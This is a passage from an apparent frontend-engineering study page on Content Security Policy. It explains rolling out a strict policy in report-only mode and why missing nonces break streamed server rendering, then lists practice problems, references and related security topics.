First do the code work: nonces on server-written scripts, inline handlers and javascript: URLs moved into files. Then ship the strict policy as Content-Security-Policy-Report-Only to a slice of traffic with report-to and report-uri, and triage reports by directive, blocked URL, and route, filtering out extension noise.
Fix your violations, work with vendors, widen to 100% report-only until a quiet period covers rare flows, then enforce with a kill switch and reporting kept on. Tighten later by running the next policy in report-only beside the enforced one.
Question 5
Your streamed SSR page works in development but sticks on loading skeletons in production. What do you check?
Production probably enforces CSP and development does not. Streaming sends small inline scripts when each Suspense boundary resolves; if the renderer was not given the nonce, those scripts are blocked and the content never swaps in. The console will show script-src violations for inline scripts.
Pass the nonce to the renderer (React's stream APIs take a nonce option), check that no proxy adds a second policy, and run the real policy in development and end-to-end tests.
Practice it
These design problems lean on content security policy.
- Design a markdown editor with live previewMedium
- Design an embeddable poll widgetMedium
- Design an LLM chat interface with streaming answersMedium
- Design a checkout flowHard
- Design a secure payment formHard
- Design an embeddable third-party widgetHard
- Design an e-commerce site like AmazonHard
- Design GmailHard
- Design an online code playground like CodePenHard
- Design a browser extensionHard
References
- Content Security Policy Level 3 (W3C) The specification: directives, source expressions, and 'strict-dynamic'.
- Content Security Policy (MDN) A readable guide to the header and every directive.
- Mitigate cross-site scripting with a strict CSP (web.dev) The strict nonce and hash recipes and how to adopt them.
- CSP Is Dead, Long Live CSP! (Google Research, 2016) The study that showed most allowlist policies are bypassable.
- Reporting API (MDN)
Reporting-Endpoints, report formats, andreport-to. - Content Security Policy in Next.js Nonces made in the proxy file (formerly middleware) for a server-rendered framework.
Read next
- Cross-site scripting (XSS)Cross-site scripting is when text from outside your app ends up running as code inside your page, with every power your own code has: the most common and most damaging frontend security bug, and the one frontend engineers own most directly.
- Third-party scripts and supply chainEvery script you load from a vendor and every package you install runs with your page's full power, so you pick them carefully, pin and verify them, isolate what you can, and pay attention to what they cost in speed and privacy.
- Clickjacking and iframesIframes power embeds, payment fields, and widgets, and also let an attacker hide your page under a fake one to steal a click: control both directions with framing headers, the sandbox attribute, and checked postMessage.
- Security headersA handful of response headers that switch on browser defenses your code can't build itself: force HTTPS, stop content sniffing, trim the Referer, turn off powerful features, and isolate your page from other origins.
- Streaming server renderingThe server sends a page's HTML in pieces as each part becomes ready, instead of waiting for its slowest data: the layout paints right away, slow sections stream in later, and each piece hydrates on its own.
- Static generation and incremental regenerationRender pages to HTML once, ahead of time, and serve the same files from a CDN to everyone; incremental regeneration then refreshes single pages after launch, so you get static speed without rebuilding the whole site for every edit.